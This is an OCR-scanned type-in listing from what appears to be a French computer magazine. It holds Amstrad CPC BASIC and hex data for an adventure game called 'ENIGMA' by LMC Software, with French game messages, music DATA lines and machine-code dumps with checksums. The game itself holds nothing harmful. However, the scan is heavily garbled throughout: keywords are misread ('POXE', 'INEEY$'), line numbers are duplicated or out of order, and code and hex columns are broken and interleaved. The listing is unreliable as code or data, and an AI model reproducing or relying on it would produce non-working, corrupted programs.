EN(pbî):al=(ASC(MID$(PHÆ,t,1)))-4 
8 

2200 SOUND 1.1.2,15,0,0.1:1? al=- 
16 THEN al=16 

2210 CALL A9FE0.FN po(lx,lyH(t*2 
),A9D30+(al*14):NEXT:RETURN 
2220 REM : : : contenu otage : : : 
2239 POXE AA033,etadlo,1):P0XE A 
A034,eta(flo,5):POXE AA03S,eta(fl 
o,6) 


[929] 

[1736] 

[419] 

[1142] 

[419] 

[1736] 

[1593] 

[2081] 

[3595] 


[2791] 

[4930] 


0,9) 

2250 POXE AA039,etadlo, 10) :POKE [20071 
AA03A,etadlo, 12) :CALL AA03B 
2260 IF etadlo,1)<>9 THEN NIN=11 [2206] 
ELSE NIN=1 

2270 IF etadlo, 11)=9 THEN RETURN [1271] 
2280 PEN 12:FOR b=ll TO 13:IOCATE [4903] 
12.ta:PRrRT CHES(229+h):NEXr;LOCA 
TE 12,14:PRINT CHR$(242):nIN=24:R 
ETURN 

2290 REM : : : : divers : : : : [923] 

2390 WHILE INXET$o“" : VEND: RETURN [2193] 
2310 DI:IF PEEt(A9AB0)=0 THEN POX [4945] 
E A9AB0,1 :CALL A9A90,A9500:EI:RET 
URN 

2320 POXE A9AH0,0:CALL A9A90.A969 [948] 
A:El:RETURN 

2330 DATA "VOTS N ETES PAS DANS L [7208] 
ASCENCEUR: :","DESOLE:PLUS VE PLA 


63 














CRC 


PROGRAMMATION 


ADI < 

AS <" 

2340 DATA "ENFONCEE ONE FORTE ODV 
EETE >" . "ALLONS : : :RESTONS SERIEUX 
«"."TROUVEZ UNE CLEF POUR L OUVR 
IR:"."SESAME : : OUVRE TOI <" 

2350 DATA "PAS D OBJET A PORTE DE 
MAINS:","ECHANGE 01 : VOTRE CHOI 
X > 1 A 7"."IL NIA RIEN A ECH 

ANGER «<","0U AVEZ VOUS VU UN IN 
TERRUPTEUR >" 

2340 DATA "DESOLE IL VOUS MANQUE 
ENCORE: : : : " , "SORTEZ D ABORD DE L 
ASCENSEUR:VOICI UN ELEMENT 
DE L ENIGME:: : :","VOUS N ETES PAS 
ASSEZ PRES:" 

2370 DATA "GRAPEIC AND STORV BT A 
LI GATOR-. "MUSIC BT ARNAUD BONNBV 
ILLE".XX 

2380 REM il::::::::::::::::::::. 

2390 REM : 

2400 REM : EXPLICATIONS 

2410 REM . 

2420 REM 

2430 CLS:pbi="50 ETAGES A VISITER 
: 20 03J STS DIFFERENTS":LX=0:LY=2: 
QOSUB 2190 

2440 ph$="10 GRANDS ORDINATEURS Q 
UI? CHACUN CONTRE” :LY=4: GOSUB 219 


2450 ph$="3 CADEAUX V_ 

T LEUR SECRET:":LY=6:GOSUB 2190 
2460 phî="CES DIX ELEMENTS FORMEN 
T L ENIC34E: A V0US":LÏ=8:G0SUB 219 


[1736] 

[4191 

[623] 

[4191 

[1736] 

[4616] 


[ 2111 ] 

[4797] 


2620 A$=INEEY$:IF Aï="" THEN 2620 [3334] 
ELSE A$=UPPER$CAS] 

2630 IF A$="0" THEN CLS:GOTO 2650 [1373] 
2640 IF A$="N" THEN CLS:RETURN EL [2575] 
SB 2620 

2650 ENV 4,1.12,1,1,0.1.1.0.1,12. [3004] 
-1,8:ENT -3,1,1,3,1.-1,3,1,0,1,1, 

1.3,1,-1,3 

2660 FOR 1=1 TO 4:SOUND 130,0,50, 13779] 
0,4,3,1 :FOR 1=1 TO 400:NEXT 1,1 
2670 RESTORE 3160:EVERT 25,2 GOSU [2795] 
B 3140 ' 

2680 FOR J=1 TO 8:A$=”?”:X=INT(RN [3451] 
D*200)+30:Y=INTCRND*260)+30 
2690 ËNC=INTCRND*15)+1:EN2=ENC:IF [2977] 
ENC=3 THEN 2690 

2700 GOSUB 3070:X=INT(RND*280)+28 [3388] 
0:Y=INT(RND*260)+30 

2710 ENC=INT(RND*15)+1:EN2=ENC:IF [3060] 
ENC=3 THEN 2710 

2720 GOSUB 3070:NEXT [1582] 

2730 zc=320:zd=-24:za=80:zb=250:e [2779] 
nc=3 .-GOSUB 2890 

2740 y1=24:y2=224:xl=320:GOSUB 29 [1248] 
30 

2750 zc=290:zd=36:za=16:zb=50:enc [2576] 
=12:GOSUB 2890 

2760 zc=350:zd=36:za=16:zb=50:enc [1843] 
=12:G0SUB 2890 

2770 yl=24:y2=82;xl=291:GOSUB 293 [3430] 
0:Xl=351:GOSUB 2930 

2780 PEN 0:LOCATE 9,19:PRINT CHR$ [6183] 
( 22)+CHR$(1)+CHR$( 194 )+CHR$ (19514- 
CH R$ ( 19 4 ) 4- CHR$ ( 19 S ) +CHR$ ( 2 2 ) +CHRB 
(0) 

2790 zc=290:zd=24:za=8:zb=30:enc= [3633] 
0 :GOSUB 2890:zc=350:zd=24:za=8 :zb 
=30:GOSUB 2890 

2800 y1=24 :y2=50:xl=291:enc=0:GOS [4370] 



2480 ph*=”E N I G M A":LX=14:LT=1 [2903] 
3 : GOSUB 2190:phS="l JOYSTICE" 

2490 LT=21:G0SUB 2190:phJ=“2 CUR [1662] 
SEURS" :LY=24 :GOSOB 2190 
2500 AS=INEEY$:IF Aî="” THEN 2500 [1516] 
2510 A=ASC(A$):IF A<49 OR A>50 TH [2574] 
EN 2500 ELSE CLS 

2520 IF A=49 THEN GA=74:DA=75:HA= [2905] 

72:BA=73:FE=7é:RETURN 

2530 IF A-S0 THEN GA=8:DA=I:BA=0: r2657] 

BA = 2 : FE-=9 : RETURN ELSE 2500 

2540 REM [1736] 

2550 REM : : 1419) 

2560 REM : PRESENTATION ! 16471 

2570 REM : : [419] 

2560 REM :.. (17361 

2590 REM lea Yaineaote peuvent ev (94361 

lter de taper ce aoua programma 0 

ana ce caa lia oteroca le GOSUB P 

RESENTATION aprea 1'lnltiellsatio 

□ dea couleurs dans le a/p VARIAB 

LES DE BASE 

2400 PH$=“AMI; VEUX TU VOIR LA PRE [5632] 
SENTATION >”:LX=INT(40-LEN(PHS))/ 
2:LT=12:GOSUB 2190 

2610 PHÎ=“: OUI : NON :”:LX=INT(4 [4062] 
0-LEN(PH$) )/2:LY=14 : GOSUB 2190 


UB 2930:xl = 351 : GOSUB 2930:GOSUB 2 
970 

2810 FOR h=128 TO 178 STEP 16:zc= [3401 
h:zd=30:za=8:zb=20:enc=3:GOSUB 28 
90:NEXT 

2820 FOR h=464 TO 512 STEP 16:zc= [3252 
h:zd=30:za=8:zb=20:GOSUB 2890:NEI 
T 

2830 FOR g=128 TO 178 STEP 14:xl= [4298 

g:yl=12:y2=48:GOSUB 2930:NEXT 

2840 FOR g=444 TO 512 STEP 16:xl= [3804 

g:yl=12:y2=48:GOSOB 2930:NEXT 

2850 AS=”E N I G M A":ENC=2:EN2=5 [2109 

:Y=320:X=94: GOSUB 3070 

2860 A$=”7”: 1=278 :T=220:ENC=3:EN2 [3190 

=3 : GOSUB 3070 

2870 ph$="LMC SOFTWARE” :LX=2:LT=2 [2529 
1:GOSUB 2190 

2880 aS=INEEY$:IF a*=”” THEN 2880 [4930 
ELSE nu=REMAIN ( 2 ) : CLS : RETURN 
2890 PLOT -10,-10,enc:ORIGIN zc.z [3377 
d:zf=2/SQR(za*za+zb*2b):zil=zf*za 

2900 zf2=zï*zb/za:zc=za:zd=0:zlm= [3155 
l+PI/zf/2:FOR zl=0 TO zlm:PLOT zc 
,zd 

2910 PLOT zc,-zd:PLOT -zc,zd:PLOT [4815 


-zc,-zd:zc=zc-zfl*z 


2940 IF TEST(x,h)=enc THEN x=xl-4 
:GOTO 2950 ELSE PLOT x.h,enc:x=x+ 
4:GOTO 2940 

29S® IF TEST[x,hl=enc THES 296® E 
LSE PLOT x,h,enc:x=x-4:G0T0 2950 
2960 NEXT:RETURN 

2970 FOR H=1 TO 5:M0VE 30,H:DRAW 
610,B,8:NEXT:FOR H=6 TO 20:MOVE 3 
0,H: DRAW 610,H.2:NEXT 
2980 FOR H=20 TO 22:MOVE 30,H:DRA 
W 610,H, 10:NEXT:FC» H=1 TO 8:M0VE 
H,26:DRAW H,374.8:NEXT 
299® FOR H=8 TO 20:MOVE H,26:DRAW 
H,374,2:NEXT:F0R H=20 TO 22:MOVE 
H,26:DRAW H,374,10:NEXT 
3000 FOR H=616 TO 620:MOVE H.24:D 
RAW H,374,10:NEXT:FOR H=620 TO 63 
2:MOVE H,26:DRAW H,374,2:NEXT 
“■3010 FOR H=632 TO 636:M0VE H,26:D 
RAW H, 374,8 : NEXT: FOR H=394 TO 400 
:MOVE 30,H:DRAW 410,H,8:NEXT 
3020 FOR H=382 TO 392:MOVE 30,H:D 
RAW 610 ,H, 2 : NEXT : FOR H=378 TO 380 
:MOVE 30,H:DRAW 610,H,10:NEXT 
3030 X=20 : FOR T=1 TO 22:MOVE T,X: 
DRAW T, 20,6 :X=X-1 :NEXT T 
3040 X=380:FOR T=1 TO 22:MOVE T,X 
:DRAW T,380:X=X+1:NEXT T 
3050 X=380:FOR T=418 TO 634:MOVE 
T,380:DRAW 618,X:X=X+1:NEXT T 
306® X=1 : FOR ï=618 TO 636:MOVE T, 
20:DRAW T,X:X=X+1:NEXT T:RETURN 
3070 INE 4,0:PLOT -10,-10,4:TAG:F 
OR H=1 TO LEN(A$):B$=MID$CA$,H,1) 
3080 MOVE CH*36)-4,366:PRINT B$;: 
NEXT:TAGOFF 

3090 FOR G=0 TO 14 STEP 2: FC» H=3 
2 TO LEN(A$)*64 STEP 4 
3100 IF TESTCH,354+G)=4 THEN GOSU 
B 3120 

3110 NEXT H,G:LOCATE 2,3:FRINT NR 
$:SPACE$CINTCLENCA$)*l.5)):INE 4, 
9:RETURN 

3120 PLOT H+X,Y+(G*2) ,ENC:PIOT Ht- 
X.Y+2+CG*2),EN2:RETURN 
3130 CALL &BB18:MODE 2:PEN 1:LIST 
3140 DI : IF CSQ(l) AND 7)=0 THEN E 
I :RETURN ELSE READ n,d:IF B=-l TH 
EN RESTONS 316®:GOTO 3140 
3150 SOUND 1,a,d/l.5,12 : GOTO 3140 
3160 DATA 142,20.190,20,142.20.11 

9.20.127.20.119.20.142.60.179.20, 

142.20.119.20.127.20.119.20.142.6 
0.179,20,142.20.106,20,119,20,106 
,20,142,60,190.20,142,20.119,20,1 

27.20.142.20.127.20 

3170 DATA 190.20,150,20,127.20.14 

2.20.150.20 

3180 DATA 142,20,190.20,142.20,11 

9.20.127.20.119.20.142.60.179.20, 

142.20.119.20.127.20.119.20.142.6 
0,179,20,142,20.106,20,119,20,106 
,20,142,60,190.20,142.20,119.20,1 

27.20.142.20.127.20.190.20.150.20 
,127,20.142,20.150,20 

"“3190 DATA 142,20,190,20,142,20,11 

9.20.127.20.119.20.142.20.190.20, 
142,20,119,20,127,20,119,20,142,2 
0,179,20,142,20.119,20,127,20,119 


3200 DATA 106,20,119. 
2.20,179,20,142,20,10< 
127,20,119,20,190,20 
0.127,20,142,20.127,28 
,20,127,20,142,20,150, 
3210 DATA 190,20 * " ‘ 


20,106,20,14 

6,20,119,20, 

142,20,119,2 

',190,20,150 

.20,142,20 

20,119.20,12 


7.20,119,20,142,20,190,20,142,20 


119.20,127,20,119,20 


5,142,20,119,20,127,20,119,20,142 


,20,179,20,142.20,119,20,127,20,1 
19,20.142,20,179.20,142.20 
3220 DATA 106,20,119.20.106,20,14 
2,20,179,20,142.20,106,20,119,20, 


127,20,119,20,190,20 


2,20.179,2 


0.127,20.142,20.127,20,190.20,150 

,20.127,20,142.20,127,20 

3230 DATA 119,20.159,20,119,20,94 

,20,106,20,94.20,119,20,159,20.11 

9.20.94.20,106.20.119,20.106,20.1 

59.20.126.20.106.20.119.20.106.20 
.127,20.159.20.126,20,106,20.119, 
20.106,20.89,20.142.20,127.20.89, 

20.94.20.89.20.106.20 

3240 DATA 119,20.106,20,89,20.94, 
20.106,20,94.20.106,20,119,20,126 
,20.119.20,126,20,142.20,159.20.1 

42.20.126.20.119.20.106.20 


[1789] 

[2861] 

[4830] 

[3200] 

[940] 

[5376] 

[50911 

[84161 

[6952] 

[68771 

[4400] 

[34241 

[32961 

[3310] 

128481 

[41351 

[1608] 

[30341 

[3065] 

[3296] 

[1582] 

[2142] 

[53601 

[1936] 

[79431 


[2456] 

[9404] 


[8340] 

[6005] 

[9924] 

[5925] 

[9774] 

[5543] 
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3250 Dm 119,20.159.20,119.20,94 [9774] 
,20,106.20,94,20,119.20.159,20,11 
9,20,94,20,106,20,119,20.106,20,1 
59,20.126.20,106,20,119.20,106,20 


,127,20,159,20,126,20,106,20.119, 

20.106,20.89,20,142,20,127.20.89, 

20,94,20,89,20,106,20 

3260 DATA 119,20,106.20,89,20,94. [58331 


20,106,20,94,20,106,20,119,20,126 
,20,119,20,126,20.142,20,159.20,1 
42,20,126.20.119.20,106,20,119,20 
3270 DATA -1,-1 [413] 


3 0A 00 11 05 05 0 
5 05 00 11 0F 0F 0 
5 05 00 05 05 05 0 
? 0A 00 00 05 00 0 
5 00 00 00 05 00 0 
5 00 22 00 05 IB 0 
5 0A 0A 00 05 05 0 
5 IB 00 00 05 00 2 


3:00 01 00 00 00 0 


. . 3 00 00 02 01 0i 
2 01 00 00 02 01 0' 

2 01 00 00 02 01 0i 
C 29 00 14 0F 0B 2 
F 0B 1S 3C 0F 0B 3< 
Z 3C 36 39 33 33 3i 

3 33 28 00 3C 3C 0i 
1 3C 00 00 33 22 2 
0 00 11 00 10 28 0 
0 34 00 10 00 00 2 
0 28 00 10 10 2B 2 
0 00 3C 30 10 20 3 
0 20 3C 20 10 20 1 
0 00 28 10 10 20 2 
0 20 28 00 30 3C 0 
F 00 00 05 00 0A 0 


9 C3 00 00 11 82 0 
9 63 82 3C 33 33 C 
3 33 C3 39 33 33 C 
3 33 C3 39 33 33 C 
3 63 82 00 39 C3 0 
3 56 FC 03 03 56 F 
ï 00 00 0C C0 CC 9 
0 CC 9C 0C C0 CC 9 


9128:11 33 
9130:00 00 
9138:0C C0 


9170:IC 59 2C 0 


33 22 U 33 33 2 
00 00 0C C0 CC 9 
CC 9C 0C C0 CC 9 
00 00 B0 30 20 0 
30 00 10 70 30 
B0 20 00 30 70 

S! 3 il ?! SS 

14 00 04 08 0C 


: 0C IC 14 0C 0C 3 
: IC 3E 3C 3C 3C 3 
3 16 3E 29 Al 16 3 
L 16 3E 29 F0 16 3 

2 16 3E 29 52 16 3 

3 16 28 3C 3C 3C 0 


92A0:50 70 4C 0B 20 70 F0 0 
92A8:00 00 00 00 64 CC CC 3 
92B0:D8 00 CC 14 10 CC 98 2 
92B8:44 64 34 28 00 CC B4 0 
92C0:00 00 11 33 11 22 36 0 
92C8:36 39 28 00 28 14 00 0 
92D0:00 14 00 00 00 14 00 
92D8:51 14 00 00 FB A2 FB 
92E0:FB F7 F3 A2 FB 55 F3 
92E8 :55 A2 FB 00 FB F3 00 
92F0:FB F3 55 A2 55 A2 FB 


00 05 0F 
00 05 0D 


30:91 
3C:A5 
28: AD 


3C 6C 00 
3C 6C 00 
05 00 0A 
0A 00 00 

B il 5! 

41 D6 3C 
0A 41 05 
05 00 00 


11 11 0A 
11 05 05 
00 33 36 


0C 3C 16 
0C 01 01 
CC CC D8 
00 CC F0 
00 44 A0 



mu 

00:9D 
F3:D4 


00 00 05 0F 0A:B1 
0A 00 0F 0E 0A:10 
0F 00 4F 0C 27:D6 
0F 00 0E 26 0F:4E 
0A 00 05 0C 0A:1A 

00 00 00 00 00:F8 

00 22 22 22 00:48 
00 00 00 22 22:3F 
11 00 00 00 22:6A 
00 00 22 22 22:E8 
00 00 22 11 00:9C 
22 3C CC 11 11:9A 
22 3C 6C 


a 14 a 


0:B3 


00 00 0& 00 05:9A 
00 00 11 00 0A:DB 
00 11 63 D6 00:62 
A8 C3 D6 BC 2B:7D 
05 00 C3 28 00:92 
00 00 00 00 00:D6 
0A 00 05 00 00:8E 
00 00 00 00 00:55 
00 11 11 0A 28:AE 
28 11 33 36 28 : BD 
28 11 0A 0A 28:44 
00 33 00 00 3C:52 
3C 00 22 14 00:EE 
00 00 00 00 00:15 
00 00 22 14 00:75 
3C 33 00 00 36:5D 
00 00 01 01 00:Al 
02 04 02 00 02:D8 
02 0C 01 01 00:FD 
3C 0C 3C 16 3C:80 
00 0C 02 00 02:1D 
F0 44 CC D8 A0:6C 
00 00 44 A0 00:24 
00 00 CC F0 00:8C 


i 0F F0 A0 05 A5 IA 20:04 
' SA F0 30 5A AS 30 38:EF 
? F0 B0 34 5A SA 34 34:AD 
' 70 30 38 F0 B0 38 3C:93 
1 B0 34 3C 50 34 38 28;9A 
I 30 3C 28 00 30 3C 00:D4 
) 00 00 00 00 CF 8A 00:B4 
I 0E 0E 00 49 49 49 0B:C8 

> 49 49 08 49 49 49 08:5C 

> 49 49 08 49 49 49 08:64 

> 49 49 08 49 49 49 08:6C 

> 49 49 08 49 49 49 08:74 
I 0E 0E 00 04 0E 0E 00:58 
; 04 04 08 00 00 00 00:8C 


I 8C CC 88 
: BC CC 8C 
a 55 AA 00 


5 FA F5 AA 
5 FA F5 AA 
a 3C 3C 3C 


I 1E 3C 1E 

> 26'14 0A 
) 14 05 28 
I AE 2D 28 
i 1E FA 58 
1 1E 3C 1E 
3 28 14 2D 
3 0F 1E 28 
3 A4 3C 2D 

> 3C A4 58 
I 3C 3C 36 
3 28 14 3C 
3 3C 3C 28 
9 66 3C 3C 
a 3C 3C 3C 
L F3 F3 P3 
i A2 14 3C 
: 3C 3C 28 
3 9E 3C 9E 
î 3C 9E 3C 
I 9E 3C 9E 
: 28 14 3C 
: 3C 3C 28 
i F3 F3 F3 


CC 4C 
BC CC 8C CC:F4 
4C CC 4C 4C: 54 
00 FF FF 00:07 
00 F5 FA 00:03 
55 FF FF AA:B8 
55 FA F5 AA:DC 
00 FA F5 00:EB 
3C 3C 3C 3C:C9 
3C 3C 3C 3C:1D 
14 3C 4E CC:FB 
3C 28 14 2D:BC 
3C 0F 1E 28:78 
58 0C 2D 3C:54 
28 1E AE F5.-8C 
14 1E 14 1E:65 
2D 28 14 0A:A9 
2D 14 05 26:4B 
0C AE 2D 3C:CC 
0F 3C F5 58:80 
14 3C 1E 3C:C7 
3C 28 14 3C:41 
3C 36 3C 28:56 
FA AE 6C 3C:EF 
3C 6C 5D F5:B4 
14 3C 3C 3C:D5 
3C 28 14 3C:B6 
3C 3C 3C 28 : FD 
F3 F3 F3 F3:BF 
3C 3C 3C 3C:B8 
14 9E 3C 9E:F9 
3C 28 14 3C:79 
9E 3C 9E 28:45 
3C 9E 3C 9E:4D 
3C 3C 3C 3C:35 
51 F3 F3 F3:F9 
F3 A2 3C 3C:02 


95E8:3C 3C 3C 3C 3C 
95F0:39 39 39 3C 3C 
95F8:36 36 39 39 39 
9600:3C 36 36 36 3C 
9608:3C 3C 3C 3C 3C 
9610:3C 79 F3 F3 B6 
9618:3C 3C 3C 79 3C 
9620:3C 3C 3C 3C 3C 
9628 :B6 3C 3C 3C 3C 
9630:3C 3E B6 00 00 
9638:3C 79 3D 3C B6 
9640 :3C 00 00 79 3C 
9648:00 3C 3C 3C 3C 
9650:B6 3C 3C 3C 3C 
9658:3C 3E B6 00 00 
9660:3C 79 3D 3C B6 
9668:3C 00 00 79 3C 
9670:00 3C 3C 3C 3C 
9678 :B6 3C 3C 3C 3C 
9680:3C 3C 3C 3C 3C 
9688:00 00 00 00 00 
9690:00 00 00 00 00 
9698:00 00 00 3C 3C 
96A0:3C 3C 3C 00 14 
96A8:3C 3C 3C 3C 3C 
96B0: IB 33 CC 99 33 
96B8:14 2D 0F 3C 3C 
96C0:1E 2B 14 1E 14 
96C8: 2D 28 2D 28 14 
96D0: 0C 0C 2D 28 2D 
96D8:00 1E 26- 


96F0:2D 28 2D 28 14 
96F8:0C 0C 3C 0F 1E 
9700:1E 3C 19 0C 3C 
9708:14 3C 6C 3C 0C 
9710:3C 28 14 3C 3C 
9718:39 3C 3C 28 14 
9720:26 19 36 3C 3C 
9728:3C 3C 66 99 3C 
9730:14 3C 3C 3C 3C 
9738:3C 28 51 F3 F3 
9740:F3 F3 F3 A2 14 
9748:3C 3C 3C 3C 3C 
9750:3C 9E 3C 9E 3C 
9758:14 3C 9E 3C 9E 
9760:9E 28 14 9E 3C 
9768:3C 9E 3C 28 14 
9770:3C 3C 3C 3C 3C 
9778:F3 F3 F3 F3 F3 
9780:3C 3C 3C 3C 3C 
9788:3C 3C 39 39 39 
9790:3C 36 36 36 39 
9798:3C 3C 3C 36 36 
97A0:3C 3C 3C 3C 3C 
97A8 : 3C 3C 3C 79 F3 
97B0:3C 3C 3C 3C 3C 
97B8 :B6 3C 3C 3C 3C 
97C0:3D 3C B6 3C 3C 
97C8 :00 79 3C 3E B6 
97D0:3C 3C 3C 79 3D 
97D8:3C 3C 3C 00 00 


97F0:00 79 3C 3E B6 
97F8:3C 3C 3C 79 3D 
9800:3C 3C 3C 00 00 
9808 :B6 00 00 3C 3C 
9810:F3 F3 B6 3C 3C 
9818:3C 3C 3C 3C 3C 
9820:28 00 00 00 00 
9828:00 14 00 00 00 
9830:00 00 00 00 11 
9838:36 3C 00 00 36 
9840:36 3C 00 00 3C 
9848:3C 3C 00 00 3C 
9850:3C 3C 00 00 3C 
9858:3C 3C 14 28 14 
9860:E1 F0 F0 F0 F0 
9868:44 41 00 88 44 
9870:44 00 82 88 44 
9878:44 00 82 88 44 
9880:C6 C3 00 88 C6 
9888:44 00 00 88 44 
9890:44 00 00 88 04 
9898:3F 3F 2E 08 3F 
98A0:00 3F 00 0C 44 
98A8:44 CC 23 88 44 
98B0:44 CC CC 00 00 
98B8:00 33 " " " 


3C 3C 3C:ED 
3C 3C 36 : B3 
3C 3C 3C:C7 
3C 3C 3C:D0 
3C 3C 3C:0E 
3C 3C 3C:F3 
3C B6 3C:68 
79 3D 3C:9B 
00 00 79:84 
3C 3C 3C:8C 
3C 3C 3C:1D 
3E B6 00:90 
79 3D 3C:S7 
00 00 79:AC 
3C 3C 3C:B4 
3C 3C 3C:45 
3E B6 00:B8 
79 F3 F3:61 
3C 3C 3C:F8 
3C 28 00:IA 
00 00 14 :BE 
00 00 00:26 
3C 3C 3C: 36 
3C 3C 3C:EE 
28 14 3C:1E 
8D 3C 28:C0 
3C 3C 0F:89 
1E 0C 26:14 
1E 14 1E:96 
28 14 0A:5E 
00 05 28:90 
0C 2D 28:BA 
1E 0C 19 :E3 
2D 0F 3C:E5 
28 14 3C:94 
2D 3C 28 :C6 
26 3C 9C:03 
9C 0C 0C:E7 
3C 3C 39:EC 
28 14 3C:29 
3C 3C 28:81 
3C 3C 3C:0F 
F3 F3 F3:C8 
3C 3C 3C:61 
28 14 9E:CF 
9E 3C 28:4F 
3C 9E 3C:F5 
9E 3C 9E:0D 
3C 3C 3C:1B 
28 51 F3:4A 
F3 F3 A2:B3 
3C 3C 3C:87 
3C 3C 3C:6B 
39 39 3C:2B 
36 3C 3C:45 
3C 3C 3C:A7 
F3 B6 3C:D6 
79 3C 3C:25 
3C 3C 79:21 
3C 3C 00:56 

!a IS lillf 

79 3C 3E:41 
3C 3C 79:1D 
3C 3C 00: 7E 


98D8:13 63 
98E0:FC 03 
98E8:01 A9 
98F0:54 56 
98F8:54 56 
9900:40 AC 
9908:40 84 
9910:04 04 
9918:3F 3F 
9920:44 00 
9926:44 CC 
9930:00 CC 
9938:41 93 
9940:41 63 
9948:93 33 
9950:93 93 
9958:03 E9 
9960:54 03 
9968:54 03 
9970:00 03 
9978:00 A9 
9980:00 C0 
9988:00 00 
9990:04 1D 
9998:0C 00 
99A0:44 13 
99A8:00 CC 
99B0:00 33 
99B8:11 33 
99C0:11 63 
99C8:33 93 
99D0:66 CC 
99D8:A9 A9 
99E0:00 03 
99E8:00 03 
99F0:04 A9 
99F8:0C C0 
9A00:00 04 
9A08:00 0C 
9A10:00 3F 
9A18:00 33 
9A20:44 CC 
9A28:00 CC 
9A30:00 33 
9A3S: 11 33 
9A40;33 63 
9A48:33 63 
9A50:13 CC 
9AS8:01 03 
9A60:00 01 
9A68:00 00 
9A70:00 00 
9A78:00 0C 
9A80:00 00 
9A88:00 00 
9A90:01 22 
9A98:A0 3E 
9AA0:SE 00 
9AA8:C9 00 
9AB0:00 00 
9AB8:00 00 
9AC0:00 00 
9AC8:00 00 
9AD0:00 00 
9AD8:00 00 


CC 99 03 
56 56 54 
03 00 01 
03 00 01 
56 08 54 
C0 0C 40 
08 00 00 

SS 

33 00 44 
CC 88 44 
CC 00 00 
33 00 41 
33 22 93 
93 33 C3 
93 33 13 
CC 23 A9 


03 66 89:44 
03 03 02:AF 
56 03 00:FA 
56 03 00:AF 
FC C0 0C:DE 
84 08 00:31 
00 0" " " 
3F 2 


0:01 

.. .. .8:10 
00 00 3F 00 0C:05 


CC 2 


8:E7 


93 82 11 
33 C3 33 
33 C3 33 
93 23 46 


A9 A8 0C 
5C 80 00 
48 80 00 
08 08 04 
3F 3F 0C 
00 68 44 
CC 88 00 
CC 00 00 
63 82 11 
93 82 11 
33 63 33 
63 63 33 
D6 03 A9 
03 A8 00 
03 A8 00 


CC CC 0 
33 33 00:5C 
63 33 23:DD 
63 33 22:A7 
33 93 33:FD 
93 CC 33:24 
03 56 56:1F 
fl 03 03 00:2F 
0 A9 02 00:65 
0 03 00 00:21 
0 03 08 00:AD 
0 C0 0C 00:91 
0 0C 08 08: El 
0 3F 3F 3F:4B 
0 33 00 88:6C 
4 CC CC 88:17 
0 CC CC 00:B9 
' 33 63 82:3F 
63 33 82:AS 
63 33 63 : A3 
C6 63 63:CF 
99 03 03;CD 
03 03 AS:DI 
03 A9 02:4A 
03 A9 02:E3 
C0 FC AB :5A 
04 48 80:41 
00 00 00:7A 
1D 3F 3F:65 
00 3F 00:D6 
13 CC 88:D2 
CC CC 68:B6 
33 33 00:55 
33 93 B2:FD 
33 93 63:AE 
63 33 C3:C6 
CC 63 23:24 
A9 03 56:2B 
03 03 A8:09 
01 56 00:05 
00 03 00:20 
04 03 00:39 
0C C0 00:F2 


A 02 01 IA 
L D8 C2 DD 
1 CD 19 A0 


00 00 00 00 00 00 
00 00 00 00 00 00 
00 00 00 00 00 00 

Il II 1? II 11 li 
00 00 00 00 00 " 
00 00 00 00 00 
00 00 00 00 00 



.. 00 88:18 
04 0C 00: 0C 
3F 3F 00:05 
00 33 00:9F 
CC CC 88:95 
CC CC 00:E4 
93 33 00:6B 


L 33 93 22:0C 

. 3 33 93 33:78 

)0:C3 33 63 33 93 93 C9 33:EE 


00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 

ss z H ss s: s: ss s: 


8:29 5D 50 4F 47 SA 54 63 
9:31 SB 60 64 5A 68 6A 38 
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CRC 


PROGRAMMATION 


ÏSIS 

9BF0 

lis 


s 


9CC8 

9CD0 

9CD8 


9D1B 


58 53 59 5? 2D 


2 60 59 

3 3B 58 

2 43 44 

5 40 55 

6 50 ÎC 

7 68 5A js : 

3 68 56 3D 3 

2 43 44 45 4 

6 40 45 25 3 

F 5E 2C 53 4 


3A 27 55 
4F 2F 55 
6C 66 61 

II II i! 

s* 4F 27 5E 
62 SC 2F 52 


5 46 47 4 
B 49 59 £ 


29 57 4C 53 47 48 4 
31 53 65 61 5A 36 SD £ 
6D SB 67 61 57 3E 3F 4 
41 42 43 44 45 46 47 4 
31 38 40 45 5B 4B 4A 2 
4A 55 50 5E 62 53 2F £ 
66 32 69 59 67 68 58 ( 
39 66 60 3C 6A 5F 68 7 
73 67 5D 44 45 46 47 4 


41 42 43 44 45 46 47 48 
31 3A 40 54 46 5F 5A 28 
4D 2A 4C 58 56 2E 56 51 
65 61 65 34 68 6B 69 38 


6E 68 60 3C 70 6 


62 6C 55 56 57 
41 42 43 44 45 
32 32 40 47 55 
29 4B 5D 59 52 
57 53 5C 66 5A 


5 46 47 48 
' '7 59 28 

1 63 62 55 

2 65 6C 6A 
^ 3E 3F 40 

46 47 48 
49 27 54 
2E 50 30 
36 69 SD: 


S 


8A 8A SA 
01 00 03 
45 00 45 
03 02 00 
SA 00 8A 


5F 65 67 71 5A 
44 45 46 47 48 
02 82 82 82 82 
8A 33 22 00 00 


> SS 'S ! 


SS Si Si 

03 02 02 
8A 8A 8A 
03 02 00 
45 00 45 
03 02 02 
8A 8A 8A 
03 02 02 
00 8A 00 

SSSS 
00 00 
00 00 
01 00 

sis: 


03 02 02 
8A 8A BA 
03 02 02 


00 33 22 00 00 

02 00 82 41 82 

8A 33 22 00 00 

00 82 82 C3 82 

8A 00 22 00 00 

00 82 00 C3 82 

8A 33 22 00 00 

00 82 00 C3 82 

8A 33 22 00 00 

02 00 82 00 82 

00 il 00 00 00 

02 82 82 C3 82: 

8A 33 22 00 00<. 

02 82 82 C3 82: ■ 

00 8A 33 22 00 00: 

00 00 00 00 00 00 

45 00 11 00 00 00 

00 00 00 00 00 00 

00 8A 00 22 11 00 

1 00 41 00 41 00 

0 00 11 00 00 00 

0 00 41 00 41 00 

5 00 11 00 00 00 

2 02 00 82 00 82 

0 00 11 00 00 00 

0 00 00 82 00 82 

0 8A 00 22 11 00 

0 00 00 00 00 00 

0 00 00 00 00 00 

02 82 82 C3 82 

SS II SS SS SS 

8A 33 22 00 00 

SS SS S! SS SS 


liSf 

SIS! 


9F38 

SK! 


9FA0 

9FA8 

î™ 

9FC0 


Si SS Si 


î:8A 00 8A 
.0:03 02 02 
9EA8:8A 8A BA 
9EB0:02 02 02 
9EB8:8A 8A 8A 
9EC0:03 02 01 
9EC8: 45 00 45 
9ED0:03 02 01 
9ED8:45 00 45 
9EE0:02 02 02 
9EE8 :CF 00 8A 

SSSiSI SS Si 

9F00:02 02 03 
9F08:BA 8A BA 
9F10: 02 02 02 
9F18:CF 8A 8A 
. 9F20:03 02 02 


00 C3 S 
22 00 i 
00 C3 i 

ÏS ÏS S 


03 02 02 
BA 8A SA 
03 02 02 


